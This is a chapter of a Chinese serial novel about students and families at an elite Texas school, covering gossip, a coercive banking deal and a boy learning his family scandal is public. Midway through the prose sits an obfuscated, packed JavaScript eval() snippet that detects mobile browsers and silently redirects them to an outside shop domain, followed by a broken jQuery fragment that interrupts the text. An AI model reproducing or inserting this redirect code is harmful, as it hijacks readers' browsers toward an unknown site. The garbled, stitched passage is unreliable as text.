2012年2月8日
中午,Elizabeth, Grady, Adelaide, 在餐厅排队等点餐。
Grady: “那个傻帽又跟着你了。”
Adelaide: “走哪跟哪,真是烦死了.”
Elizabeth: “你觉得烦吗?上次你不是还给他送咖啡了吗?”
Adelaide: “都跟你说了。那是Brendon让我给他送的。”
Elizabeth: “当然是他想追你啦。Brendon人好,就帮他制造机会.”
Grady: “这个学期,圣马可家长会中的餐饮服务委员会要重新选举。联络员说,策划委员会开会的时候,傻帽的妈妈一进去就给里面每一个妈妈都发了名片。为了让人印象深刻还专程定制了香槟玫瑰香味的名片。可结果,没有一个人给他妈妈打电话。”
Grady自顾自笑了起来。
Edwin就站在不远处。她们就是说给我听的。她们在嘲笑我。
Elizabeth: “他不也那样嘛。一心要找个有钱女朋友.”
Adelaide看着手里的咖啡,难得放空了自己:“其实他是挺有才华的。”她回过神,正对上另外两个审视的目光。她耸了耸肩,语气回到了刚才的漫不经心,“不过追我还是算了。”
Edwin领悟了3件事:
1.现实是现实,网络是网络。一个人即便在网络世界里展现的是真实的自己,也不妨碍她在真实世界里还有另外一面。
2.在网络世界里心灵相通的人务必一直待在网络里,在那里享受爱情。禁止跨越进现实世界。
3.他要是有钱就好了。有钱1和2都不是问题了。有钱,一切都有了。
2012年2月8日
Stella下楼,在楼梯平台上停下。Regina和Brendon面对面站在门厅里,中间隔着那瓶钢筋玫瑰。
Regina: “Brendon, 真让人意外啊.”
Stella低头看着他。Brendon抬起头,那眼神明晃晃写着不屑。
Regina让人在客厅里摆上下午茶,Stella破天荒地跟了进去。一盘又一盘糕点被端上茶几,有司康,马卡龙,柠檬挞,三明治等等一堆。Regina和Brendon不约而同地沉默着,安静地喝着自己的咖啡。Stella直接拿过一块草莓巧克力吃了起来,Regina瞪了她一眼,Stella又拿了一块泡芙。
茶几上五颜六色的甜点堆到放不下之后,客厅里只剩下他们三个。Regina放下咖啡:“什么风把你吹来了?”
Brendon也放下咖啡,从容地靠在椅背上:“我爸要我给Stella送份礼物。”
Regina声音稍有凝滞:“他太客气了。”
Brendon一脸冷漠:“我爸说和他没关系。礼物是我送的。”
Regina把一直维持着的体面的微笑慢慢收了回去:“你太客气了。”
Brendon看着Stella,想挤出一丝怜悯,但失败了: “为了庆祝你终于从疯人院里出来了.”
Regina面无表情:“Willis先生,如果你 …”
Brendon打断她:“海岸银行的基金会已经购得福可斯4台82%的股份。”
向来主导的Regina忽然闭嘴了。向来强势的Regina忽然被收服了。Brendon把怜悯的目光适用到了她身上:“相信这会解决你所有的烦恼。”
Regina愣了一下,又迅速拾起体面:“谢谢你,也麻烦向你父亲致以我衷心的感谢。”
Brendon漫不经心地边打量屋子边说:“没必要感谢他。有代价的。”
Regina端起咖啡喝了一口,然后慢慢放下,靠回到沙发上问:“是什么?”
Brendon: “沃尔特慈善基金会资产的托管与结算,需要交给海岸银行.”
Regina觉得羞耻。这件事发酵到现在,她丈夫不觉得羞耻,丈夫的情妇不觉得羞耻,上赶着来分一杯羹的对手不觉得羞耻,甚至连她的爸爸都不觉得羞耻。
Regina:“你爸要我给他和我丈夫的情妇搭上线。而你是来传话的。”
Brendon:“你去和谁怎么协商,是你的事。”
Brendon把客厅瞄了个遍,觉得这房子真是跟这个疯女人一样无聊,只想赶快说完回家。不过家里也一样让他厌恶,但总算比这好。他牢牢盯住Regina的眼睛:“成交吗?”
Stella能感觉到Regina在细细地发着抖。她坐近了一点,靠着妈妈。
Regina看了女儿一眼,把咖啡放回茶几上:“Willis先生,我丈夫的学校接收沃尔特基金会的资助,基金会的财务事务我们不会参与。但是我认为你给出了绝佳的建议。我也认为海岸银行是最佳选择。”
Brendon从鼻子里挤出个嗤笑,站起来走了。Stella看着妈妈。妈妈安静地在沙发上坐着,然后站了起来,习惯性地去酒柜拿酒。突然停住了,看着酒瓶出神。最后妈妈打开瓶盖,把酒全都倒进了水槽里。Stella又开始耳鸣,她上楼回了自己房间。
2012年2月9日
下午5点,今天的练习完成了,Albert走出艺术中心。当看到艺术委员会的助理拿着沓文件朝他走来的时候,他知道艺术节又要开始了。
圣马可每年都会举办为期三天的艺术节以展出本校学生的艺术成果。第一天于周四下午五点开幕,会有董事会成员,赞助商,知名校友和众多媒体参与。过去6年,Albert都被邀请在开幕式上表演。来邀请他的就是艺术节委员会的助理。
助理走到离他几步远时,举起手里的文件晃了晃:“今年艺术节的流程表。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947800|213958||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
Albert接过文件,今年的流程表和往年没什么差别,只不过他被安排在压轴表演。流程表仅一页,后面的十几页都是来参加艺术节的各大媒体的信函复印件。这次来的媒体比往年都多。以往文件的第一页是表演者协议,由学生填写。由于大部分的学生都未成年,协议必须由家长签字。
Albert翻到最后一页:“今年为什么没有表演者协议?”
助理纳闷了:“这次艺术节的赞助商就是你爸呀。你的协议他签过字了。”
Albert如同在处理全然陌生的信息:“你说我爸赞助了学校的艺术节?”
助理更加纳闷地“嗯”了一声。
Albert愣了会说:“我不知道。”
助理反应过来,“嘿嘿”笑了两声:“是要给你个惊喜吧。你弟弟不是前段时间来学校堵你了吗?你爸是想讨好你吧。”
Albert脸上的惊愕压都压不住:“你怎么知道他 … ”
助理反应过来自己嘴太快了,这次他斟酌了下才开口:“不止我。学校里大概都知道。有人拍了视频,就你和你 … 那个 … 弟。”
惊愕渐渐变成了恐惧:“学校里的人全知道?”
助理着急忙慌地解释:“不是。不是因为那个视频,是你爸 … 的事 … 很多人都知道。其实我爸说你爸他,是个稳重的人,是老派的商人。还有点单纯,都这个年纪了竟然还相信爱情。再说,你爸对你 … 更好。他为了让你压轴演出赞助了艺术节。他还特地让人去休斯顿请哥伦比亚广播公司11频道。你的演奏在整个得克萨斯都能 …”
恐惧慢慢转化为怀疑,助理连忙说:“我还要去委员会。拜拜。”
Albert就是在怀疑。他怀疑一切。他站在艺术中心门口,一个一个地盯着进进出出的人。有人注意到他的眼神,微笑点头。也有人视而不见,一脸冷淡地路过。
这些人全都知道。这些人全都看过视频。不止看过,还传阅过,调侃过。他们的爸爸妈妈也都知道我家的事,学校里那么多我认识的,不认识的人也都知道我家的事,而且比我还详细。但是他们谁都没告诉我。他们就像平常一样,有人演对我好,有人演不认识我。
然后,Albert想到了一件更要命的事。Isaac呢?他知道吗?会不会有人告诉他这件事?他会怎么想我?Albert跑了起来,他要去找Isaac. 他要去解释。他不是那样的人。跑到学校的喷水池边,忽然看到Isaac从面前经过。Albert猛地站住了。看着Isaac越走越远,又急忙追上去,跟在他后面。
我要怎么跟他说呢?我是该说有这件事还是没有这件事?要是他知道了,那我就是在骗他。要是他不知道,我该说什么?
Albert停了下来,看着Isaac越走越远。最后,转身走了。
Albert拒绝了艺术节。无所谓了。反正已经都知道了,也不怕让他们多知道一点。